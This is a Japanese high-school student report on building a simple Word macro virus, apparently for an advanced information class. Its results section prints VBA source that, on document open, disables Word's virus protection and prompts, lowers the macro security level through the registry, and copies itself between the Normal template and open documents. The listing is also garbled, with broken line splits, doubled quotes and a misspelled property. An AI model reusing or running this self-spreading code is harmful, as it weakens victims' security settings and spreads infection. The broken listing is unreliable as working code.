

# 簡易コンピュータウイルスの作成

東京都立戸山高等学校 SS情報2年 杉山佳 内田尚希

## 1. 動機

近年インターネットの普及とともにコンピュータウイルスを利用した犯罪が増えており、それを食い止めるためにはどうするべきなのかという問いに関心を持った。そこでそもそもコンピュータウイルスとはどのようなものでどのように作られるものなのか不思議に思い、コンピュータウイルスについて理解を深めるために実際に作ってみようと考えた。

## 2. 方法

・Visual basic editorを使用

→officeに搭載されているVBA(Visual Basic for Applications,プログラミング言語の一種)を書くための総合環境開発ソフトである。VBAはマクロを保存してアプリケーションに正確に伝えるための言語である。

・wordのマクロを利用

→マクロとは、あるソフトの操作手順を登録して、自動的に実行させる機能そのものであり本来は単純作業の効率化を図るために利用するがバグを作るのに適する

ネット上のテンプレートを参考にして書いていく

## 3. 結果

基本のコード作成を行った

このウイルスの動作「ドキュメントが開かれたらウイルスコードを書き込んでウイルスにする」

→極めて実害の少ないウイルス

変更を加えて応用すると反復性のある少し高度なウイルスが作成可能になる

これを実行すると「テスト」と書かれたOKボタンをおすだけのボックスが表示される

```
SAMPLE
Private Sub Document_Open()
    On Error Resume Next

    With Options
        .VirusProtection = 0
        .SaveNormalPrompy = 0
        .ConfirmConversions = 0
    End With

    Application.DisplayStatusBar = False
    ActiveDocument.ReadOnlyRecommended = False
    System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\11\Word\Security", "Level") = 1&

    Set DocTemplate = NormalTemplate.VBProject
    VBComponents(1).codemodule
    Set DocActive = ActiveDocument.VBProject
    VBComponents(1).codemodule

    If DocTemplate.Lines(1, 1) <> ""SAMPLE"" Then
        DocTemplate.DeleteLines 1, DocTemplate.CountOfLines
        DocTemplate.InsertLines 1, DocActive.Lines(1, DocActive.CountOfLines)
    ElseIf DocActive.Lines(1, 1) <> ""SAMPLE"" Then
        DocActive.DeleteLines 1, DocActive.CountOfLines
        DocActive.InsertLines 1, DocTemplate.Lines(1, DocTemplate.CountOfLines)
        ActiveDocument.Save
    End If

End Sub
```

## 4. 展望

今回はテーマ変更後の2回目の発表となった。応用するとウィンドウサイズを無限に変更させたりCDプレイヤーを無限に開け閉めさせたりできるので工夫して実害がないように作っていきたい。

参考文献 : <http://www2.hannan-u.ac.jp/~hanakawa/soturon/2009/Murai.pdf>